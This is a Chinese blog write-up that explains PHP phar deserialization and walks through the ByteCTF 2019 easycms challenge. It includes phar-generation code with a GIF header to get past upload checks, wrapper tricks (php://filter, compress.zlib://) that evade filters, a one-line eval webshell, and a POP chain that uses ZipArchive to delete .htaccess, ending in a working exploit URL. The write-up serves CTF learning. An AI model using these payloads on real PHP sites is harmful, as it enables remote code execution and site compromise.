phar反序列化&&复现bytectf_2019_easycms

0x01 参考链接

为了表示谢意,先放出大部分内容的参考链接
链接

0x02 原理讲解

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
phar反序列化&&复现bytectf_2019_easycms_第1张图片
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。


    class TestObject {
    			//魔法函数(文件包含phar文件时会反序列化)
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub('GIF89a'.''); //设置stub,添加GIF头,可以绕过图片格式检查
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
下面的函数会使phar文件反序列化

phar反序列化&&复现bytectf_2019_easycms_第2张图片额外发现的函数

  • exif
  • exif_thumbnail
  • exif_imagetype
  • gd
  • imageloadfont
  • imagecreatefrom***
  • hash
  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file
  • file / url
  • get_meta_tags
  • get_headers
  • standard
  • getimagesize
  • getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');     //我们将phar压缩后,将压缩包的文件改为gif,此时仍然可以解压
$zip->extractTo('phar://test.phar/test');
zip

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper.让我们测试一下


class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld

[mysqld]
local-infile=1
secure_file_priv=""
绕过phar://限制头
0x01
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
@file_get_contents($z);
0x02
@include('php://filter/read=convert.base64-encode/resource=phar://yunying.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://yunying.phar')

0x03 复现bytectf_2019_easycms

访问获得www.zip

  • index.php页面验证登陆,可以任意账号登陆到upload.php上传页面,但是只有admin账号才能进行文件上传。
  • 访问了upload.php·,就会在沙盒下生成一个.htaccess文件,内容为:lolololol, i control all
  • 上传文件后,会返回文件的存储路径,view details可以进入view.php,会回显文件的mime类型以及文件路径。
  • 因为目录下的.htaccess被写入了内容,无法解析,所以访问上传的文件会报500


0x01 哈希长度拓展攻击(hashpump.py)

phar反序列化&&复现bytectf_2019_easycms_第3张图片phar反序列化&&复现bytectf_2019_easycms_第4张图片 实例化了一个Admin类的对象。跟进Admin

phar反序列化&&复现bytectf_2019_easycms_第5张图片phar反序列化&&复现bytectf_2019_easycms_第6张图片确认为哈希长度拓展攻击,具体的攻击方法就不一一列举了,百度一下就行了。


0x02 Phar pop链构造

已知在长传的文件夹里存在.htaccess, 所以我们上传的php马无法被正确解析,我们要想办法删除.htaccess。

随便上传一个图片马试试
phar反序列化&&复现bytectf_2019_easycms_第7张图片存在一个过滤
phar反序列化&&复现bytectf_2019_easycms_第8张图片
这里有两个攻击思路

  • phar反序列化将upload_file上传到别的目录,绕过sanbox中.htaccess的控制
  • 事先上传一个php马儿,然后PHP反序列化删除.htaccess文件

因为我们不知道临时存储的文件的目录,因此只能用第二种思路。

我们看到view.php中有个File类,跟进File
phar反序列化&&复现bytectf_2019_easycms_第9张图片phar反序列化&&复现bytectf_2019_easycms_第10张图片上文已经提到过了,mime_content_type也可以出发phar发序列化。
同时我们注意到Profile类中有一个魔法函数__call
phar反序列化&&复现bytectf_2019_easycms_第11张图片其中有一个open函数,而且admin,username ,password可控,于是我们查找那些类有open方法。
(ZipArchive,SessionHandler)
其中ZipArchive可以利用。
ZipArchive::open ( string $filename [, int $flags ] ) : mixed  
phar反序列化&&复现bytectf_2019_easycms_第12张图片这种用overwrite方法,可以直接删除.htaccess文件
注意这儿也可以打开非压缩文件,比如.htaccess

我们先上传一个马儿

 
$a = "sys"."tem";
eval($_POST["xxx"]);
?>

然后构造`phar pop`攻击链

class File{

    public $filename;
    public $filepath;
    public $checker;
}
class Profile{

    public $username;
    public $password;
    public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

哭了,上传phar被过滤了,提示 `你让我害怕`,winhex看到有个`,但是删除`后,可能损坏了phar结构,又不行。于是换成php 7.0完全上传解决问题。得跟上时代的潮流。暴捶自己一顿



通过php://filter绕过waf的检测去触发phar

view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

成功删除.htaccess
在这里插入图片描述

你可能感兴趣的:(BUUCTF刷题记录)